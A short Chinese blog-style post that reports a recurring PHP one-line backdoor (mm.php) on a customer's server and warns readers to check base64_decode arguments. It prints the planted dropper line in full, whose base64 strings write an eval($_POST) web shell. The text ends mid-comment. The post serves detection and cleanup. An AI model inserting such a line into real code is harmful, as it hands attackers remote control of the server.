今天一个客户的服务器频繁被写入一句话后门，删除了还有，原来在程序中加入了如下代码，大家可以注意下base64_decode函数的参数。

今天一个客户的服务器频繁被写入： mm.php 内容为： 复制代码 代码如下: 最后查到某文件内的第一行为以下代码： 复制代码 代码如下: fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)); base64_decode(“bW0ucGhw”) //mm.php base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”) // <